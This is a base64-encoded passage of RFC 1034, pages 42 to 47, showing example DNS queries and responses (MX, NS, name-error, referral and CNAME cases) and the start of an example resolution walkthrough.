QgdGhlIGZpcnN0CnNlcnZlciBjYWNoZWQgdGhlIHJlc3BvbnNlIHRvIGEgUVRZUEU9QSBxdWVyeSBhbmQgdGhlIHNlY29uZCBjYWNoZWQgdGhlCnJlc3BvbnNlIHRvIGEgSElORk8gcXVlcnkuCgoKCgoKCgoKCgoKCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA0Ml0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgo2LjIuMy4gUU5BTUU9U1JJLU5JQy5BUlBBLCBRVFlQRT1NWAoKVGhpcyB0eXBlIG9mIHF1ZXJ5IG1pZ2h0IGJlIHJlc3VsdCBmcm9tIGEgbWFpbGVyIHRyeWluZyB0byBsb29rIHVwCnJvdXRpbmcgaW5mb3JtYXRpb24gZm9yIHRoZSBtYWlsIGRlc3RpbmF0aW9uIEhPU1RNQVNURVJAU1JJLU5JQy5BUlBBLgpUaGUgcmVzcG9uc2UgZnJvbSBDLklTSS5FRFUgd291bGQgYmU6CgogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgSGVhZGVyICAgICB8IE9QQ09ERT1TUVVFUlksIFJFU1BPTlNFLCBBQSAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgUXVlc3Rpb24gICB8IFFOQU1FPVNSSS1OSUMuQVJQQS4sIFFDTEFTUz1JTiwgUVRZUEU9TVggICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQW5zd2VyICAgICB8IFNSSS1OSUMuQVJQQS4gODY0MDAgSU4gICAgIE1YICAgICAgMCBTUkktTklDLkFSUEEufAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQXV0aG9yaXR5ICB8IDxlbXB0eT4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQWRkaXRpb25hbCB8IFNSSS1OSUMuQVJQQS4gODY0MDAgSU4gICAgIEEgICAgICAgMjYuMC4wLjczICAgICAgfAogICAgICAgICAgICAgICB8ICAgICAgICAgICAgICAgICAgICAgICAgICAgIEEgICAgICAgMTAuMC4wLjUxICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwoKVGhpcyByZXNwb25zZSBjb250YWlucyB0aGUgTVggUlIgaW4gdGhlIGFuc3dlciBzZWN0aW9uIG9mIHRoZSByZXNwb25zZS4KVGhlIGFkZGl0aW9uYWwgc2VjdGlvbiBjb250YWlucyB0aGUgYWRkcmVzcyBSUnMgYmVjYXVzZSB0aGUgbmFtZSBzZXJ2ZXIKYXQgQy5JU0kuRURVIGd1ZXNzZXMgdGhhdCB0aGUgcmVxdWVzdGVyIHdpbGwgbmVlZCB0aGUgYWRkcmVzc2VzIGluIG9yZGVyCnRvIHByb3Blcmx5IHVzZSB0aGUgaW5mb3JtYXRpb24gY2FycmllZCBieSB0aGUgTVguCgo2LjIuNC4gUU5BTUU9U1JJLU5JQy5BUlBBLCBRVFlQRT1OUwoKQy5JU0kuRURVIHdvdWxkIHJlcGx5IHRvIHRoaXMgcXVlcnkgd2l0aDoKCiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBIZWFkZXIgICAgIHwgT1BDT0RFPVNRVUVSWSwgUkVTUE9OU0UsIEFBICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBRdWVzdGlvbiAgIHwgUU5BTUU9U1JJLU5JQy5BUlBBLiwgUUNMQVNTPUlOLCBRVFlQRT1OUyAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBbnN3ZXIgICAgIHwgPGVtcHR5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBdXRob3JpdHkgIHwgPGVtcHR5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBZGRpdGlvbmFsIHwgPGVtcHR5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCgpUaGUgb25seSBkaWZmZXJlbmNlIGJldHdlZW4gdGhlIHJlc3BvbnNlIGFuZCB0aGUgcXVlcnkgaXMgdGhlIEFBIGFuZApSRVNQT05TRSBiaXRzIGluIHRoZSBoZWFkZXIuICBUaGUgaW50ZXJwcmV0YXRpb24gb2YgdGhpcyByZXNwb25zZSBpcwp0aGF0IHRoZSBzZXJ2ZXIgaXMgYXV0aG9yaXRhdGl2ZSBmb3IgdGhlIG5hbWUsIGFuZCB0aGUgbmFtZSBleGlzdHMsIGJ1dApubyBSUnMgb2YgdHlwZSBOUyBhcmUgcHJlc2VudCB0aGVyZS4KCjYuMi41LiBRTkFNRT1TSVItTklDLkFSUEEsIFFUWVBFPUEKCklmIGEgdXNlciBtaXN0eXBlZCBhIGhvc3QgbmFtZSwgd2UgbWlnaHQgc2VlIHRoaXMgdHlwZSBvZiBxdWVyeS4KCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNDNdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKQy5JU0kuRURVIHdvdWxkIGFuc3dlciBpdCB3aXRoOgoKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEhlYWRlciAgICAgfCBPUENPREU9U1FVRVJZLCBSRVNQT05TRSwgQUEsIFJDT0RFPU5FICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIFF1ZXN0aW9uICAgfCBRTkFNRT1TSVItTklDLkFSUEEuLCBRQ0xBU1M9SU4sIFFUWVBFPUEgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFuc3dlciAgICAgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEF1dGhvcml0eSAgfCAuIFNPQSBTUkktTklDLkFSUEEuIEhPU1RNQVNURVIuU1JJLU5JQy5BUlBBLiAgICAgIHwKICAgICAgICAgICAgICAgfCAgICAgICA4NzA2MTEgMTgwMCAzMDAgNjA0ODAwIDg2NDAwICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFkZGl0aW9uYWwgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKClRoaXMgcmVzcG9uc2Ugc3RhdGVzIHRoYXQgdGhlIG5hbWUgZG9lcyBub3QgZXhpc3QuICBUaGlzIGNvbmRpdGlvbiBpcwpzaWduYWxsZWQgaW4gdGhlIHJlc3BvbnNlIGNvZGUgKFJDT0RFKSBzZWN0aW9uIG9mIHRoZSBoZWFkZXIuCgpUaGUgU09BIFJSIGluIHRoZSBhdXRob3JpdHkgc2VjdGlvbiBpcyB0aGUgb3B0aW9uYWwgbmVnYXRpdmUgY2FjaGluZwppbmZvcm1hdGlvbiB3aGljaCBhbGxvd3MgdGhlIHJlc29sdmVyIHVzaW5nIHRoaXMgcmVzcG9uc2UgdG8gYXNzdW1lIHRoYXQKdGhlIG5hbWUgd2lsbCBub3QgZXhpc3QgZm9yIHRoZSBTT0EgTUlOSU1VTSAoODY0MDApIHNlY29uZHMuCgo2LjIuNi4gUU5BTUU9QlJMLk1JTCwgUVRZUEU9QQoKSWYgdGhpcyBxdWVyeSBpcyBzZW50IHRvIEMuSVNJLkVEVSwgdGhlIHJlcGx5IHdvdWxkIGJlOgoKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEhlYWRlciAgICAgfCBPUENPREU9U1FVRVJZLCBSRVNQT05TRSAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIFF1ZXN0aW9uICAgfCBRTkFNRT1CUkwuTUlMLCBRQ0xBU1M9SU4sIFFUWVBFPUEgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFuc3dlciAgICAgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEF1dGhvcml0eSAgfCBNSUwuICAgICAgICAgICAgIDg2NDAwIElOIE5TICAgICAgIFNSSS1OSUMuQVJQQS4gIHwKICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgIDg2NDAwICAgIE5TICAgICAgIEEuSVNJLkVEVS4gICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFkZGl0aW9uYWwgfCBBLklTSS5FRFUuICAgICAgICAgICAgICAgIEEgICAgICAgIDI2LjMuMC4xMDMgICAgIHwKICAgICAgICAgICAgICAgfCBTUkktTklDLkFSUEEuICAgICAgICAgICAgIEEgICAgICAgIDI2LjAuMC43MyAgICAgIHwKICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgIEEgICAgICAgIDEwLjAuMC41MSAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKClRoaXMgcmVzcG9uc2UgaGFzIGFuIGVtcHR5IGFuc3dlciBzZWN0aW9uLCBidXQgaXMgbm90IGF1dGhvcml0YXRpdmUsIHNvCml0IGlzIGEgcmVmZXJyYWwuICBUaGUgbmFtZSBzZXJ2ZXIgb24gQy5JU0kuRURVLCByZWFsaXppbmcgdGhhdCBpdCBpcwpub3QgYXV0aG9yaXRhdGl2ZSBmb3IgdGhlIE1JTCBkb21haW4sIGhhcyByZWZlcnJlZCB0aGUgcmVxdWVzdGVyIHRvCnNlcnZlcnMgb24gQS5JU0kuRURVIGFuZCBTUkktTklDLkFSUEEsIHdoaWNoIGl0IGtub3dzIGFyZSBhdXRob3JpdGF0aXZlCmZvciB0aGUgTUlMIGRvbWFpbi4KCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA0NF0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgo2LjIuNy4gUU5BTUU9VVNDLUlTSUMuQVJQQSwgUVRZUEU9QQoKVGhlIHJlc3BvbnNlIHRvIHRoaXMgcXVlcnkgZnJvbSBBLklTSS5FRFUgd291bGQgYmU6CgogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgSGVhZGVyICAgICB8IE9QQ09ERT1TUVVFUlksIFJFU1BPTlNFLCBBQSAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgUXVlc3Rpb24gICB8IFFOQU1FPVVTQy1JU0lDLkFSUEEuLCBRQ0xBU1M9SU4sIFFUWVBFPUEgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQW5zd2VyICAgICB8IFVTQy1JU0lDLkFSUEEuIDg2NDAwIElOIENOQU1FICAgICAgQy5JU0kuRURVLiAgICAgfAogICAgICAgICAgICAgICB8IEMuSVNJLkVEVS4gICAgIDg2NDAwIElOIEEgICAgICAgICAgMTAuMC4wLjUyICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQXV0aG9yaXR5ICB8IDxlbXB0eT4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQWRkaXRpb25hbCB8IDxlbXB0eT4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwoKTm90ZSB0aGF0IHRoZSBBQSBiaXQgaW4gdGhlIGhlYWRlciBndWFyYW50ZWVzIHRoYXQgdGhlIGRhdGEgbWF0Y2hpbmcKUU5BTUUgaXMgYXV0aG9yaXRhdGl2ZSwgYnV0IGRvZXMgbm90IHNheSBhbnl0aGluZyBhYm91dCB3aGV0aGVyIHRoZSBkYXRhCmZvciBDLklTSS5FRFUgaXMgYXV0aG9yaXRhdGl2ZS4gIFRoaXMgY29tcGxldGUgcmVwbHkgaXMgcG9zc2libGUgYmVjYXVzZQpBLklTSS5FRFUgaGFwcGVucyB0byBiZSBhdXRob3JpdGF0aXZlIGZvciBib3RoIHRoZSBBUlBBIGRvbWFpbiB3aGVyZQpVU0MtSVNJQy5BUlBBIGlzIGZvdW5kIGFuZCB0aGUgSVNJLkVEVSBkb21haW4gd2hlcmUgQy5JU0kuRURVIGRhdGEgaXMKZm91bmQuCgpJZiB0aGUgc2FtZSBxdWVyeSB3YXMgc2VudCB0byBDLklTSS5FRFUsIGl0cyByZXNwb25zZSBtaWdodCBiZSB0aGUgc2FtZQphcyBzaG93biBhYm92ZSBpZiBpdCBoYWQgaXRzIG93biBhZGRyZXNzIGluIGl0cyBjYWNoZSwgYnV0IG1pZ2h0IGFsc28KYmU6CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDQ1XQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBIZWFkZXIgICAgIHwgT1BDT0RFPVNRVUVSWSwgUkVTUE9OU0UsIEFBICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBRdWVzdGlvbiAgIHwgUU5BTUU9VVNDLUlTSUMuQVJQQS4sIFFDTEFTUz1JTiwgUVRZUEU9QSAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBbnN3ZXIgICAgIHwgVVNDLUlTSUMuQVJQQS4gICA4NjQwMCBJTiBDTkFNRSAgIEMuSVNJLkVEVS4gICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBdXRob3JpdHkgIHwgSVNJLkVEVS4gICAgICAgIDE3MjgwMCBJTiBOUyAgICAgIFZBWEEuSVNJLkVEVS4gICB8CiAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgICBOUyAgICAgIEEuSVNJLkVEVS4gICAgICB8CiAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgICBOUyAgICAgIFZFTkVSQS5JU0kuRURVLiB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBZGRpdGlvbmFsIHwgVkFYQS5JU0kuRURVLiAgIDE3MjgwMCAgICBBICAgICAgIDEwLjIuMC4yNyAgICAgICB8CiAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDE3MjgwMCAgICBBICAgICAgIDEyOC45LjAuMzMgICAgICB8CiAgICAgICAgICAgICAgIHwgVkVORVJBLklTSS5FRFUuIDE3MjgwMCAgICBBICAgICAgIDEwLjEuMC41MiAgICAgICB8CiAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDE3MjgwMCAgICBBICAgICAgIDEyOC45LjAuMzIgICAgICB8CiAgICAgICAgICAgICAgIHwgQS5JU0kuRURVLiAgICAgIDE3MjgwMCAgICBBICAgICAgIDI2LjMuMC4xMDMgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCgpUaGlzIHJlcGx5IGNvbnRhaW5zIGFuIGF1dGhvcml0YXRpdmUgcmVwbHkgZm9yIHRoZSBhbGlhcyBVU0MtSVNJQy5BUlBBLApwbHVzIGEgcmVmZXJyYWwgdG8gdGhlIG5hbWUgc2VydmVycyBmb3IgSVNJLkVEVS4gIFRoaXMgc29ydCBvZiByZXBseQppc24ndCB2ZXJ5IGxpa2VseSBnaXZlbiB0aGF0IHRoZSBxdWVyeSBpcyBmb3IgdGhlIGhvc3QgbmFtZSBvZiB0aGUgbmFtZQpzZXJ2ZXIgYmVpbmcgYXNrZWQsIGJ1dCB3b3VsZCBiZSBjb21tb24gZm9yIG90aGVyIGFsaWFzZXMuCgo2LjIuOC4gUU5BTUU9VVNDLUlTSUMuQVJQQSwgUVRZUEU9Q05BTUUKCklmIHRoaXMgcXVlcnkgaXMgc2VudCB0byBlaXRoZXIgQS5JU0kuRURVIG9yIEMuSVNJLkVEVSwgdGhlIHJlcGx5IHdvdWxkCmJlOgoKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEhlYWRlciAgICAgfCBPUENPREU9U1FVRVJZLCBSRVNQT05TRSwgQUEgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIFF1ZXN0aW9uICAgfCBRTkFNRT1VU0MtSVNJQy5BUlBBLiwgUUNMQVNTPUlOLCBRVFlQRT1BICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFuc3dlciAgICAgfCBVU0MtSVNJQy5BUlBBLiA4NjQwMCBJTiBDTkFNRSAgICAgIEMuSVNJLkVEVS4gICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEF1dGhvcml0eSAgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFkZGl0aW9uYWwgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKCkJlY2F1c2UgUVRZUEU9Q05BTUUsIHRoZSBDTkFNRSBSUiBpdHNlbGYgYW5zd2VycyB0aGUgcXVlcnksIGFuZCB0aGUgbmFtZQpzZXJ2ZXIgZG9lc24ndCBhdHRlbXB0IHRvIGxvb2sgdXAgYW55dGhpbmcgZm9yIEMuSVNJLkVEVS4gIChFeGNlcHQKcG9zc2libHkgZm9yIHRoZSBhZGRpdGlvbmFsIHNlY3Rpb24uKQoKNi4zLiBFeGFtcGxlIHJlc29sdXRpb24KClRoZSBmb2xsb3dpbmcgZXhhbXBsZXMgaWxsdXN0cmF0ZSB0aGUgb3BlcmF0aW9ucyBhIHJlc29sdmVyIG11c3QgcGVyZm9ybQpmb3IgaXRzIGNsaWVudC4gIFdlIGFzc3VtZSB0aGF0IHRoZSByZXNvbHZlciBpcyBzdGFydGluZyB3aXRob3V0IGEKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNDZdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKY2FjaGUsIGFzIG1pZ2h0IGJlIHRoZSBjYXNlIGFmdGVyIHN5c3RlbSBib290LiAgV2UgZnVydGhlciBhc3N1bWUgdGhhdAp0aGUgc3lzdGVtIGlzIG5vdCBvbmUgb2YgdGhlIGhvc3RzIGluIHRoZSBkYXRhIGFuZCB0aGF0IHRoZSBob3N0IGlzCmxvY2F0ZWQgc29tZXdoZXJlIG9uIG5ldCAyNiwgYW5kIHRoYXQgaXRzIHNhZmV0eSBiZWx0IChTQkVMVCkgZGF0YQpzdHJ1Y3R1cmUgaGFzIHRoZSBmb2xsb3dpbmcgaW5mb3JtYXRpb246CgogICAgTWF0Y2ggY291bnQgPSAtMQogICAgU1JJLU5JQy5BUlBBLiAgIDI2LjAuMC43MyAgICAgICAxMC4wLjAuNTEKICAgIEEuSVNJLkVEVS4gICAgICAyNi4zLjAuMTAzCgpUaGlzIGluZm9ybWF0aW9uIHNwZWNpZmllcyBzZXJ2ZXJzIHRvIHRyeSwgdGhlaXIgYWRkcmVzc2VzLCBhbmQgYSBtYXRjaApjb3VudCBvZiAtMSwgd2hpY2ggc2F5cyB0aGF0IHRoZSBzZXJ2ZXJzIGFyZW4ndCB2ZXJ5IGNsb3NlIHRvIHRoZQp0YXJnZXQuICBOb3RlIHRoYXQgdGhlIC0xIGlzbid0IHN1cHBvc2VkIHRvIGJlIGFuIGFjY3VyYXRlIGNsb3NlbmVzcwptZWFzdXJlLCBqdXN0IGEgdmFsdWUgc28gdGhhdCBsYXRlciBzdGFnZXMgb2YgdGhlIGFsZ29yaXRobSB3aWxsIHdvcmsuCgpUaGUgZm9sbG93aW5nIGV4YW1wbGVzIGlsbHVzdHJhdGUgdGhlIHVzZSBvZiBhIGNhY2hlLCBzbyBlYWNoIGV4YW1wbGUKYXNzdW1lcyB0aGF0IHByZXZpb3VzIHJlcXVlc3RzIGhhdmUgY29tcGxldGVkLgoKNi4zLjEuIFJlc29sdmUgTVggZm9yIElTSS5FRFUuCgpTdXBwb3NlIHRoZSBmaXJzdCByZXF1ZXN0IHRvIHRoZSByZXNvbHZlciBjb21lcyBmcm9tIHRoZSBsb2NhbCBtYWlsZXIsCndoaWNoIGhhcyBtYWlsIGZvciBQVk1ASVNJLkVEVS4gIFRoZSBtYWlsZXIgbWlnaHQgdGhlbiBhc2sgZm9yIHR5cGUgTVgKUlJzIGZvciB0aGUgZG9tYWluIG5hbWUgSVNJLkVEVS4KClRoZSByZXNvbHZlciB3b3VsZCBsb29rIGluIGl0cyBjYWNoZSBmb3IgTVggUlJzIGF0IElTSS5FRFUsIGJ1dCB0aGUKZW1wdHkgY2FjaGUgd291bGRuJ3QgYmUgaGVscGZ1bC4gIFRoZSByZXNvbHZlciB3b3VsZCByZWNvZ25pemUgdGhhdCBpdApuZWVkZWQgdG8gcXVlcnkgZm9yZWlnbiBzZXJ2ZXJzIGFuZCB0cnkgdG8gZGV0ZXJtaW5lIHRoZSBiZXN0IHNlcnZlcnMgdG8KcXVlcnkuICBUaGlzIHNlYXJjaCB3b3VsZCBsb29rIGZvciBOUyBSUnMgZm9yIHRoZSBkb21haW5zIElTSS5FRFUsIEVEVSwKYW5kIHRoZSByb290LiAgVGhlc2Ugc2VhcmNoZXMgb2YgdGhlIGNhY2hlIHdvdWxkIGFsc28gZmFpbC4gIEFzIGEgbGFzdApyZXNvcnQsIHRoZSByZXNvbHZlciB3b3VsZCB1c2UgdGhlIGluZm9ybWF0aW9uIGZyb20gdGhlIFNCRUxULCBjb3B5aW5nCml0IGludG8gaXRzIFNMSVNUIHN0cnVjdHVyZS4KCkF0IHRoaXMgcG9pbnQgdGhlIHJlc29sdmVyIHdvdWxkIG5lZWQgdG8gcGljayBvbmUgb2YgdGhlIHRocmVlIGF2YWlsYWJsZQphZGRyZXNzZXMgdG8gdHJ5LiAgR2l2ZW4gdGhhdCB0aGUgcmVzb2x2ZXIgaXMgb24gbmV0IDI2LCBpdCBzaG91bGQKY2hvb3NlIGVpdGhlciAyNi4wLjAuNzMgb3IgMjYuMy4wLjEwMyBhcyBpdHMgZmlyc3QgY2hvaWNlLiAgSXQgd291bGQKdGhlbiBzZW5kIG9mZiBhIHF1ZXJ5IG9mIHRoZSBmb3JtOgoKCgoKCgoKCgoKCgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNDddCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEhlYWRlciAgICAgfCBPUENPREU9U1FVRVJZICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIFF1ZXN0aW9uICAgfCBRTkFNRT1JU0kuRURVLiwgUUNMQV